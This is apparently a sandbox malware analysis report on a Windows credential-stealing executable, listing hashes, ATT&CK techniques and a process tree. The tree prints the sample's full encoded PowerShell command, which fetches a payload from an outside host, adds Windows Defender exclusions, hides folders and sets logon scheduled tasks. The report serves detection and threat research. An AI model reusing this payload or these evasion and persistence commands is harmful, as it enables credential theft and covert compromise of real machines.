52bcdacfded42444fa7359c71d5077e3b7b4cc9e51695614f43a5f090310b8e7

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
21/04/2026, 04:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe
Size 2.5MB
Sample260421-ev3vjsbv7t
SHA256 52bcdacfded42444fa7359c71d5077e3b7b4cc9e51695614f43a5f090310b8e7
MD5 98cc8d11daf948c79d5ae3c7e62cda7e
SHA1 0155f3ff24482e77e7576cae26d224afba62ccb8
SHA512 7026368b5e9ca5fa73513cb8429369eef75fb374e4aafc682eefcd42e1c49b0186794c0c3372301ffd7b0a0359c1cdfda2d26e859463c75091e27657da383aee
SSDEEP 49152:UavY1Sn5eVNo/i3YIi1g1VwkCGU3vRctwPe0TP4ztxpsZbyIWsdG2:PY1aXJIig1VwkNU/mIzb4bpD
TLSH
T1CEC59E0AF1538AD5CC6BC4BC838F7131EA357D69CA282E9F17D14B613E45B902725BCA
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

credential_access defense_evasion discovery execution persistence spyware stealer

Malware Config

Signatures

Detects executables referencing many IR and analysis tools 1 IoCs

resource	yara_rule
behavioral2/files/0x001900000002b5a0-40.dat	INDICATOR_SUSPICIOUS_References_SecTools

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
11	5368	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5368	powershell.exe

Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Executes dropped EXE 1 IoCs

pid	Process
6108	svchost.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5808	schtasks.exe
6080	schtasks.exe

Suspicious behavior: EnumeratesProcesses 21 IoCs

pid	Process
4664	chrome.exe
4664	chrome.exe
2472	msedge.exe
2472	msedge.exe
5368	powershell.exe
5368	powershell.exe
4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe
4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe
4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe
3292	msedge.exe
3292	msedge.exe
4644	chrome.exe
4644	chrome.exe
936	msedge.exe
936	msedge.exe
1448	chrome.exe
1448	chrome.exe
8	chrome.exe
8	chrome.exe
1660	msedge.exe
1660	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5368	powershell.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 4084 wrote to memory of 4664	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	80
PID 4084 wrote to memory of 4664	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	80
PID 4084 wrote to memory of 4964	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	81
PID 4084 wrote to memory of 4964	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	81
PID 4084 wrote to memory of 2472	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	82
PID 4084 wrote to memory of 2472	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	82
PID 4664 wrote to memory of 5368	4664	chrome.exe	85
PID 5368 wrote to memory of 4756	5368	powershell.exe	87
PID 5368 wrote to memory of 3472	5368	powershell.exe	88
PID 5368 wrote to memory of 5596	5368	powershell.exe	89
PID 5368 wrote to memory of 5552	5368	powershell.exe	90
PID 5368 wrote to memory of 5968	5368	powershell.exe	91
PID 5368 wrote to memory of 4852	5368	powershell.exe	92
PID 5368 wrote to memory of 5808	5368	powershell.exe	94
PID 5368 wrote to memory of 6080	5368	powershell.exe	95
PID 5368 wrote to memory of 6108	5368	powershell.exe	98
PID 4084 wrote to memory of 4644	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	99
PID 4084 wrote to memory of 4644	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	99
PID 4084 wrote to memory of 3292	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	100
PID 4084 wrote to memory of 3292	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	100
PID 4084 wrote to memory of 1796	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	101
PID 4084 wrote to memory of 1796	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	101
PID 4084 wrote to memory of 936	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	104
PID 4084 wrote to memory of 936	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	104
PID 4084 wrote to memory of 3700	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	105
PID 4084 wrote to memory of 3700	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	105
PID 4084 wrote to memory of 1448	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	106
PID 4084 wrote to memory of 1448	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	106
PID 4084 wrote to memory of 4372	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	109
PID 4084 wrote to memory of 4372	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	109
PID 4084 wrote to memory of 8	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	110
PID 4084 wrote to memory of 8	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	110
PID 4084 wrote to memory of 1660	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	111
PID 4084 wrote to memory of 1660	4084	2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe	111

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4756	attrib.exe
3472	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe
"C:\Users\Admin\AppData\Local\Temp\2026-04-21_98cc8d11daf948c79d5ae3c7e62cda7e_akira_glassworm_rusty-stealer.exe"
1⤵
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4084
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4664
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAG4AZQB3AHAAcgBvAGoAZQBjAHQALQBuAGUAdwB3AG8AcgBsAGQALgBpAG4AZgBvADoANAA0ADMAJwAsACQAYgBvAGQAeQApADsAJAByAGkAdgA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMQA2AC4ALgAoACQAZABhAHQAYQAuAEwAZQBuAGcAdABoAC0AMQApAF0AOwAkAGEAZQBzAC4ASQBWAD0AJAByAGkAdgA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACwAJABkAGUAYwApADsAQwBvAHAAeQAtAEkAdABlAG0AIAAoACQAcAAxACAAKwAgACgAJwBcAHMAJwArACcAdgBjAGgAbwAnACsAJwBzACcAKwAnAHQALgBlACcAKwAnAHgAJwArACcAZQAnACkAKQAgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBGAG8AcgBjAGUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuADsA
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5368
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker
      4⤵
      Views/modifies file attributes
      PID:4756
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy
      4⤵
      Views/modifies file attributes
      PID:3472
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:64
      4⤵
      PID:5596
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:64
      4⤵
      PID:5552
  - - C:\Windows\system32\reg.exe
      "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:64
      4⤵
      PID:5968
  - - C:\Windows\system32\gpupdate.exe
      "C:\Windows\system32\gpupdate.exe" /force /target:computer
      4⤵
      PID:4852
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5808
  - - C:\Windows\system32\schtasks.exe
      "C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:6080
  - - C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe
      "C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"
      4⤵
      Executes dropped EXE
      PID:6108
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
  2⤵
  PID:4964
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2472
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4644
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3292
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
  2⤵
  PID:1796
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:936
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu
  2⤵
  PID:3700
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1448
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito
  2⤵
  PID:4372
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:8
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1660

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5288

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5328

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5280

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2976

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2228

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5172

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3088

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5008

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

svchost.exe

Path C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe
Size 6.0MB
SHA256 d29e268b1d568e942e5b16e020398a8a888d2a693f725478bdf4e9865463b79f
MD5 b372fe0847112f156e0ba39318a7fe54
